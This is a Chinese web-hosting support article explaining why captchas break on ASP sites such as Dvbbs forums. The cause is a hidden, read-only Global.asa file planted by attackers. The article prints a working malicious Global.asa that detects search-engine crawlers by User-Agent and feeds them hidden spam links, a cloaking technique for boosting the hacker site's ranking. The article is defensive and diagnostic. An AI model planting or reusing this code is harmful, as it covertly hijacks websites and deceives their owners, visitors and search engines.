近期有不少客户反映,动网论坛或其他ASP语言开发的系统,验证码部分出现异常。有的是验证码不显示,有的是不管怎么输入都提示验证码错误。经过我们技术人员的检查,在这些空间的根目录下发现了被黑客破坏的Global.asa文件,并且黑客还把这个文件调整成了只读和隐藏状态,所以客户在FTP中看到了但无法删除。管理员远程到服务器上,如果不设置显示隐藏文件的话,也看不到这个文件,真是居心叵测的黑客!下面让我来告诉大家Global.asa文件究竟是什么,起什么作用,黑客又在这个文件里面放了什么内容。
Global.asa文件是用来存放ASP中的两个重要内置对象Application对象和Session对象事件的程序,是可选文件,但必须放在空间的根目录下,并且一个网站只能有一个Global.asa文件。Application对象用于在所有用户之间共享信息,而Session对象记录每个访客访问网站时的信息,例如用户登录后记录用户名,判断是否登录。Global.asa文件中一般有4个函数,Application_OnStart、Application_OnEnd、Session_OnStart和Session_OnEnd。可以这样形象的比喻,Global.asa是一个网站的大门,访客必须先经过这个文件,才能进入网站。下面粘贴出一个典型的Global.asa黑客文件代码。
<Script language="vbscript" runat="server">
Sub Application_OnStart
End Sub
Sub Application_OnEnd
End Sub
'前面2个函数没用到
Sub Session_OnStart '有用户访问则执行
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
If check(user_agent)=true Then
Response.write("<meta name=""robots"" content=""noarchive"">"&vbcrlf)
Response.write("<title>黑客网站标题</title>"&vbcrlf)
Response.write("<p><a href=http://www.aaa.com>黑客网站名称</a>"&vbcrlf)
'后面是其他更多黑客网址
End If
End Sub
'Sub Session_OnEnd
'End Sub
'下面是判断是否百度等搜索引擎的函数
Public Function check(user_agent)
allow_agent=split("spider,robot,Baidu,Google,360spider,sogou,soso",",")
check_agent=False
For agents=Lbound(allow_agent) to Ubound(allow_agent)
If instr(1,user_agent,allow_agent(agents),1)>0 Then
check_agent=True
Exit for
End If
Next
check=check_agent
End Function
</Script>
总之,这个文件的作用是,一旦有新用户访问(可能是正常用户或百度等搜索引擎),则开始进行判断。如果是搜索引擎,则显示一些黑客网址甚至是直接跳转过去,如果是正常用户访问,则不显示。黑客的意图很明显,就是让普通用户感觉不到,实际上搜索引擎那边认为你在帮这些黑客网站做了友情链接,意图是提升黑客网站的排名和权重。还有的黑客在Global.asa文件里面做了来源的判断,如果是从百度搜索里面点击的,则进行跳转,直接访问网址的则什么都不操作。这样极大地迷惑了站长,除非是有人从百度搜索发现了问题,主动告诉站长的,否则站长会一直被蒙在鼓里。
因为Global.asa文件重新设置了Session,造成正常的Session被禁用发生异常,而大部分验证码都是通过Session原理显示的,这才会出现很多网站系统验证码无法输入的情况。当然,肯定不止一个验证码的问题,网站的其他部分也会受影响。要彻底解决黑客植入木马的问题,还是要从程序设计安全性本身着手,比如屏蔽SQL注入,加强表单验证,提升URL参数判断能力等。